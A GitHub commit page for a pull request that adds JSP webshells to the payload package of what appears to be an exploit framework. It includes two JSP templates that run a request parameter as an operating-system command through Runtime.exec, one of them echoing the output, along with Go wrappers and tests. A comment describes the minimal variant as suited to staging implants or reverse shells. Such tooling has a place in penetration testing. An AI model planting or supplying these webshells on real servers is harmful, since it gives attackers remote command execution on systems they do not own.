Skip to content

Commit 21d9b9f

Browse files
authored
Merge pull request #364 from vulncheck-oss/payload/webshell-jsp
Add simple JSP webshells
2 parents ff4cbae + f03a895 commit 21d9b9f

File tree

5 files changed

+72
-1
lines changed

5 files changed

+72
-1
lines changed

payload/webshell/jsp.go

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
package webshell
2+
3+
import (
4+
_ "embed"
5+
"fmt"
6+
)
7+
8+
var (
9+
//go:embed jsp/webshell.jsp
10+
GetKeyed string
11+
//go:embed jsp/webshell_min.jsp
12+
GetKeyedMinimal string
13+
)
14+
15+
// GetKeyed generates a JSP webshell that uses key as the basic authorization for a webshell. This
16+
// webshell will return all output information.
17+
func (jsp *JSPWebshell) GetKeyed(key string) string {
18+
return fmt.Sprintf(GetKeyed, key, key)
19+
}
20+
21+
// GetKeyedMinimal generates a JSP webshell that uses key for basic GET authentication. Unlike
22+
// GetKeyed, this payload does not return any information directly and is more useful for staging
23+
// other implants or reverse shell payloads.
24+
func (jsp *JSPWebshell) GetKeyedMinimal(key string) string {
25+
return fmt.Sprintf(GetKeyedMinimal, key)
26+
}

payload/webshell/jsp/webshell.jsp

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
<%%@ page import="java.io.*"%%>
2+
<%%
3+
if (request.getParameter("%s") != null) {
4+
Process p = Runtime.getRuntime().exec(request.getParameter("%s"));
5+
DataInputStream dis = new DataInputStream(p.getInputStream());
6+
for (String line = dis.readLine(); line != null; line = dis.readLine()) {
7+
out.println(line);
8+
}
9+
}
10+
%%>

payload/webshell/jsp/webshell_min.jsp

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<%%Runtime.getRuntime().exec(request.getParameter("%s"));%%>

payload/webshell/webshell.go

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,11 @@ package webshell
66
type Dropper interface{}
77

88
type (
9+
JSPWebshell struct{}
910
PHPWebshell struct{}
1011
)
1112

12-
var PHP = &PHPWebshell{}
13+
var (
14+
PHP = &PHPWebshell{}
15+
JSP = &JSPWebshell{}
16+
)

payload/webshell/webshell_test.go

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,3 +19,33 @@ func TestVerySmallHTTPGET(t *testing.T) {
1919
t.Fatal("PHP Minimal GET payload is in an unexpected format.")
2020
}
2121
}
22+
23+
func TestJSPWebshell(t *testing.T) {
24+
key := "VULNCHECKWUZHERE"
25+
jsp := webshell.JSP.GetKeyed(key)
26+
// Look for superfluous %s
27+
if strings.Contains(jsp, `%%`) {
28+
t.Fatal("JSP payload is in an unexpected format")
29+
}
30+
if !strings.Contains(jsp, `<%@ page import="java.io.*"%>`) {
31+
t.Fatal("JSP payload is in an unexpected format")
32+
}
33+
if !strings.Contains(jsp, `(request.getParameter("VULNCHECKWUZHERE") != null)`) {
34+
t.Fatal("JSP payload is in an unexpected format")
35+
}
36+
if !strings.Contains(jsp, `Process p = Runtime.getRuntime().exec(request.getParameter("VULNCHECKWUZHERE"));`) {
37+
t.Fatal("JSP payload is in an unexpected format")
38+
}
39+
}
40+
41+
func TestJSPWebshellMinimal(t *testing.T) {
42+
key := "hacktheplanet"
43+
jsp := webshell.JSP.GetKeyedMinimal(key)
44+
// Look for superfluous %s
45+
if strings.Contains(jsp, `%%`) {
46+
t.Fatal("JSP payload is in an unexpected format")
47+
}
48+
if strings.Compare(jsp, `<%Runtime.getRuntime().exec(request.getParameter("hacktheplanet"));%>`) != 0 {
49+
t.Fatal("JSP payload is in an unexpected format")
50+
}
51+
}

0 commit comments

Comments
 (0)